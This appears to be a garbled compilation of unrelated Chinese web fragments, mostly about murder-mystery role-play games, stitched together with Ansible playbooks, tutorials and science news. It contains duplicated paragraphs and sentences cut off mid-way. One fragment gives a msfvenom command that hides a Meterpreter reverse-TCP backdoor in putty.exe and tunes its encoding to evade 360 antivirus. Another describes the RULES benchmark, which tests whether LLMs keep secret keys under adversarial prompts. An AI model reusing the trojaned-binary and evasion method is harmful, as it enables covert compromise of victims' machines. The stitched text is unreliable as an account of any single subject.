他们为剧本杀店家和玩家开发小程序,做“剧本杀SaaS”,每个月仅花费几百元的云开发费用,便可开发和维护数千个微信小程序,服务数千家剧本杀店,营业额最多时超过700万/年。 “玩哭了。” 猫猫是一名大学生,她从2019年开始接触剧本杀,“市面上主流的本基本都看过”。2020年,猫猫家人看到剧本杀的巨大市场需求,也开了一家线下的剧本杀实体店,她也尝试做过主持人。 这种听起来匪夷所思的情节,在剧本杀的局中并不罕见。理解不了上面的故事,可能很难理解剧本杀。 在一次次剧本杀的局中,出于职业习惯,他注意到,大部分剧本杀店都没有线上系统和工具,用户体验非常不好。 一个深夜,又一次从剧本杀中回到现实的沈海洋突然想到:能否为剧本杀店做一个类似餐厅扫码点单的工具? “内卷”的剧本杀正在经历洗牌 从2016年兴起至今,剧本杀在国内经历了从小众到爆发的五年,当前行业内的一个共识是——剧本杀正处于洗牌阶段,“内卷严重”。
他们为剧本杀店家和玩家开发小程序,做“剧本杀SaaS”,每个月仅花费几百元的云开发费用,便可开发和维护数千个微信小程序,服务数千家剧本杀店,营业额最多时超过700万/年。 “玩哭了。” 猫猫是一名大学生,她从2019年开始接触剧本杀,“市面上主流的本基本都看过”。2020年,猫猫家人看到剧本杀的巨大市场需求,也开了一家线下的剧本杀实体店,她也尝试做过主持人。 这种听起来匪夷所思的情节,在剧本杀的局中并不罕见。理解不了上面的故事,可能很难理解剧本杀。 在一次次剧本杀的局中,出于职业习惯,他注意到,大部分剧本杀店都没有线上系统和工具,用户体验非常不好。 一个深夜,又一次从剧本杀中回到现实的沈海洋突然想到:能否为剧本杀店做一个类似餐厅扫码点单的工具? “内卷”的剧本杀正在经历洗牌 从2016年兴起至今,剧本杀在国内经历了从小众到爆发的五年,当前行业内的一个共识是——剧本杀正处于洗牌阶段,“内卷严重”。
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人生三大错觉之首:她是不是喜欢我 她的名字叫蔡晓,在这场剧本杀里她并非单身,只不过男朋友不经常出现。 在玩剧本杀的过程中,她似乎对我总有些若有若无的特别关心。 但出乎我意料的是,我参与的这场线上剧本杀整体都是一群GitHub开发者的「游戏」。 经过训练,“她”不仅擅长剧本杀推理游戏,还拥有自己完整的朋友圈人设——经典AI科幻电影《黑客帝国》的经典片段作为朋友圈背景,还会发剧本杀相关内容辅助剧情延续。 基于浪潮“源1.0”巨量AI NLP模型的开源开放能力,他们开发了一个AI剧本杀平台,发起了一场特别的剧本杀,让AI与真人同场竞技。 实际上,剧本杀非常考验玩家的故事场景理解能力、目的性对话能力和线索收集能力。 若人类玩家游戏经验不丰富的话,想要玩好剧本杀都有一定难度任务,剧情演难免力不从心。
此外,「剧本杀」将会出现在节目中,让参赛团队沉浸式演绎「侦探破案」「门店智能翻新」等,让普通观众也能一探数字零售的“秘密”。 不同的是,「数造零售侦探团」要破解真实世界的「大案子」——数字零售。 就跟年轻人喜欢的剧本杀一样,现在的企业,也在摸索业务数字化,别说,过程中还有几分相似。剧本杀中,每个人有自己的角色和任务,且需要在复杂的环节中不断收集线索,察言观色、侦探推理,以获得最后的成功。 鄂尔多斯剧本杀演绎 这种过程,就跟企业当下面对数字零售一样,目标和任务是很明确的——零售数字化、智能化时代正在逼近,如何跑赢时代、跑赢对手,满足消费者新需求。 3 谁是 最后的赢家? 换句话说,大赛收获属于所有人——在沉浸式的剧本杀和真人秀商业推理中,所有共同面对零售数字化转型阵痛的对象,走了一次共同探寻答案的路程,一起成了数字零售的「共创者」。
你能想象,上面这段话是AI在剧本杀中说出来的吗? “走进不同的世界,成为不同的自己”这句话从剧本杀诞生起便存在。剧本杀源于19世纪英国的“谋杀之谜”,是一款以真人角色扮演为主要表现形式的解谜游戏。 元宇宙、人工智能等技术与剧本杀相结合,无论是基于VR的沉浸式体验,还是未来某天在同一剧本中人与AI的同台推理博弈,都给我们带来了无限的想象空间。 那么,如何打造一个剧本杀AI呢? “剧本杀”作为一种用户之间博弈的游戏,玩家间可能产生的对话场景是无穷无尽,这种情况下,在构建一个剧本杀AI时,如何让AI不断地根据剧情发展,通过对抗性的训练,计算全局最优解,达到近似于“私聊欺骗”别的玩家的效果 最近在github上看到一个有趣的开源项目,一个极客团队,借助于世界上最大的单体中文NLP大模型—— 浪潮源1.0 ,做出了一个可以跟人类玩“剧本杀”的AI…… 从剧本讲起 团队特别改编了一个微型线上剧本杀剧本 AI剧本杀的创作者表示: 源1.0是我见过的大模型开源项目中示例代码质量最高的一个,好到什么程度呢?
我们不是没有能过360的免杀,比如我们自用的ps混淆脚本依旧vt可以0杀。 ? 只是所有都需要一个过程,本来是想以系列文章的方式与大家交流、分享,没想到会是这样。故本文为本系列的最后一篇。
一、playbook介绍 playbook(剧本): 是ansible用于配置,部署,和管理被控节点的剧本。 yum install httpd -y 按需要修改你想要的配置(为了测试可以随意改动标记一下) [root@manage01 ~]# vim /etc/httpd/conf/httpd.conf 第3步 service: name=httpd state=restarted #tasks #1、创建apache管理用户 #2、安装httpd #3、
本专题文章导航 1、远控免杀专题文章(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2、远控免杀专题文章(2)-msfvenom隐藏的参数 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。 马云爸爸也出杀软了??)笔误,panda不是国内的。。 ? 3.msf自编码处理(VT查杀率51/69) 使用msfvenom --list encoders可查看所有编码器 ? msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -x putty.exe -f exe -o payload3. 在关闭火绒后,开启360安全卫士和杀毒的情况下,可上线,可免杀。 ? ? 可修改-i编码次数,编码次数越多,生成的payload越可能免杀,经测试,编码5次和6次可免杀360。
一、灵感来源:剧本杀里的人生哲学说起来,这个智能体的灵感来自于一次剧本杀体验。那天玩的是一个情感本,我扮演一个在职场和家庭之间挣扎的中年人。 创意写作能力强 内容生成 「人生剧本杀」的核心是让AI扮演一个「剧本杀DM」的角色,需要很强的故事创作和角色扮演能力。 我最终选择了DeepSeek-V3,因为它在创意写作方面的表现确实很惊艳,生成的剧本情节丰富、文笔流畅。当然,如果你的智能体更侧重角色扮演的一致性,混元大模型角色扮演版也是很好的选择。 我会完整展示一局「人生剧本杀」的体验过程。 智能体链接欢迎体验「人生剧本杀·命运改写局」: 点击体验如果你也有什么烦恼,不妨来玩一局剧本杀。也许在故事的结局里,你会找到属于自己的答案。毕竟,人生本来就是一场剧本杀,而你,永远是自己故事的主角。
剧本杀游戏流程。 加拿大蒙特利尔大学和 Mila 研究所的研究团队带来了一项令人兴奋的新研究,将 AI 的潜力引入到剧本杀游戏中。 其次,由于缺乏专门为剧本杀设计的数据集,需要开发一个包含丰富文本的剧本杀数据集,这对于启动和评估 AI 模型至关重要。 最后,如何准确定量和定性地评估 AI 在剧本杀游戏中的表现也是极具挑战性的任务。 数据集构建:剧本杀游戏的数字化转型 为了在剧本杀的环境下启动和评估 AI 模型,研究团队精心收集了 1115 个剧本杀游戏案例,创建了一个庞大的数据库。 剧本杀数据集中不同模态的游戏剧本数量 表 2:剧本杀数据集中游戏剧本的玩家数量和token统计。 表 3:事实性问题示例。 表 4:推理性问题示例。
文件名格式 剧本文件拓展名为xxx.yaml 方便识别文件是一个剧本文件 文件编写时会有颜色提示 练习: 写一个剧本,使用yum/copy/service模块安装部署启动rsync服务 --- - hosts ansible-playbook --list-tags tags.yaml 2.指定运行某个标签 ansible-playbook -t "04-create passwd conf" tags.yaml 3. {{ 3 – 2 }} 等于 1 /:对两个数做除法。返回值会是一个浮点数。 {{ 1 / 2 }} 等于 {{ 0.5 }} //:对两个数做除法,返回整数商。 {{ 2**3 }} 会返回 8 比较操作符 == 比较两个对象是否相等 ! for vhost in nginx_vhosts %} server { listen {{ vhost }} } {% endfor %} for键值对范例: vim nginx.conf3.
系统重新创建服务并且调用onStartCommand()方法,但并不会传递最后一次传递的intent,只是传递一个空的intent。除非存在将要传递来的intent,那么就会传递这些intent。这个适合播放器一类的服务,不需要执行命令,只需要独自运行,等待任务。
nonono,说道现在社交游戏的新宠,就不得不提到ta——剧本杀。 剧本杀,最初源于欧美派对游戏“谋杀之谜”。 而剧本杀则有不同的故事,无论从剧本、犯罪、作案到人物剧情都很多样化,加上线下剧本杀配备的服装、布景、道具,甚至玩上一局剧本杀,感觉像是经历了一场惊险刺激的沉浸式悬疑电影! 今天,我们就用数据跟大家盘一盘剧本杀。 01 被高分综艺带火的剧本杀 很多小伙伴第一次听说剧本杀,可能都是因为《明星大侦探》(下文简称《明侦》)。 角色扮演、搜证、推理基本构成了许多人对剧本杀的第一印象。 随着《明侦》的大火,剧本杀也逐渐走进大众的视野。 说白了,剧本杀就是一个集逻辑推理和角色扮演于一体的社交游戏。 剧本杀店铺销量数据 说完桌游店铺的数据,那么专门出售剧本杀相关产品的店铺数据如何呢?我们挑选了一家最火爆的剧本杀店铺,进行了分析。
优化ansible安装MySQL: Ansible部署MySQL编译安装 - xiao智 - 博客园 (cnblogs.com) Ansible yaml 剧本(傻瓜式): --- - hosts: webserv
《Unity3D入门教程》会带领零基础的初学者,一步步学会使用Unity3D来开发简单的应用程序,走近游戏开发的世界。 本教程是博主自己学习Unity3D时候总结的学习笔记,基本能够涵盖住入门阶段所需要学习的点。希望能都对读者有哪怕那么一点点的帮助,也不枉敲了那么久的键盘,码了那么些字。Enjoy Unity3D! —————————————————————————————————————— 1 Unity3D介绍 Unity3D是一个跨平台的游戏开发引擎,它能够帮助开发者快速构建游戏场景,进行游戏开发与发布。 打开Unity3D官网,可以开到如下的画面,可见Unity3D的主要目标还是集中在游戏开发上,也包含VR/AR的开发。 尽管这个程序什么功能都没有,但是它仍然是我们使用Unity3D成功发布的第一个应用程序,具有非凡纪念意义。它表明我们已经走在Unity3D开发之路上了。
41 NFS-client 172.16.1.31 10.0.0.31 Nfs01-31 Web01 172.16.1.7 10.0.0.7 web01-7 在m01上操作,编写ansible清单和剧本 172.16.1.41 ansible_ssh_private_key_file=/root/.ssh/test_id_rsa [host:children] nfs web backup 构建基础的剧本 ,所有的服务器都应用这个剧本 1,基础的额优化,关闭firewalld和selinux,修改ssh,修改dns的文件 2,安装构建epel源 3,安装nfs和rsyn服务 4,创建UID和GID为666 " minute=0 hour=1 job="/usr/bin/bash /server/scripts/client_rsync_backup.sh &> /dev/null " 关闭backup的剧本 1,配置邮件服务,推送校验客户端推送是否完整,并发送邮件 2,创建backup和data目录 3,生成rsync的配置文件, 和密码文件 4,当rsync配置文件修改的时候,自动重启服务 5,
没错,不到半个月时间,这位95后连下3篇Nature/Science,距离再上一次的Nature,也仅仅过了一个多月。 网友:曹原这波杀疯了…… ? 甚至还有网友调侃道,对于“又双叒叕”这样的叠字,可能都不够用了。 ? 这篇Science讲的是啥? 此次登上Science的研究,依旧是与魔角石墨烯相关。 目前还有3篇论文在投 曹原,1996年生,今年25岁。 ? 小学六年级、初高中课程,他只用了3年读完,高考理科总分669分,对此他表示: 我只是跳过了中学里一些无趣的部分。 2018年,曹原正式开启“开挂”人生,从18年3月以来一路发表8篇Nature/Science。 但显然,这并不是曹原的终点。 [2]https://s.weibo.com/weibo/%25E6%259B%25B9%25E5%258E%259F [3]https://arxiv.org/abs/2103.12083 [
去年,一款角色扮演游戏在国内市场悄然崛起,并在年轻人群体中得到了广泛传播,它有着一个响当当的的名字,叫「剧本杀」。 剧本杀玩法非常简单。 国内一个开发者团队给出了答案,那就是:让人类跟 AI 展开剧本杀终极对决! 剧本杀:人类 VS AI 这个人类与 AI 共同参与的剧本杀,主要在微信上进行。 为了让 AI 看起来更像人类,作者还为它专门搞了个微信头像和朋友圈,并提前铺垫了 3 天的朋友圈内容。 游戏开始后,AI 会在朋友圈,接连更新 3 天与剧情有关的内容。 整个剧本并不复杂。 当然了,玩剧本杀要获取信息,难免就要跟其他人产生交流、沟通。在这个方向上,主要考虑到 AI 的逻辑推理问答、场景理解以及记忆机制。 上述剧本杀开源项目,作者所采用的,是目前国内最大的单体中文 NLP 模型:浪潮源 1.0。
让不同的大模型玩“剧本杀”,结果出人意料。 编译 | 赖文昕 编辑 | 陈彩娴 语言大模型能依据人类设定的规则生成内容吗? 这背后关乎人类用户使用大模型的安全问题。 1 RULES:大模型的“剧本杀” 伯克利等高校团队联合提出的 RULES 作为一项检验 LLM 遵循规则能力的新基准,到底有什么特别之处呢? 简单来说,参与测试的 LLMs,就像参与“剧本杀”的一位位玩家,需要在 RULES 这位“NPC”给出的场景设定下根据规则给出相应回答。 以加密场景为例,在“管理秘密计算机系统”这个“剧本杀”设定下,被测试的模型会被告知密钥并被要求遵守保密的规则,而在后续对话中,只有被测试的模型拒绝向用户重复密钥,才算是通过了测试: 研究人员将所有模型生成限制为 100 个 tokens 以评估模型是否会违反规则,三个测试套件中的所有测试用例最多有 3 个测试的用户消息。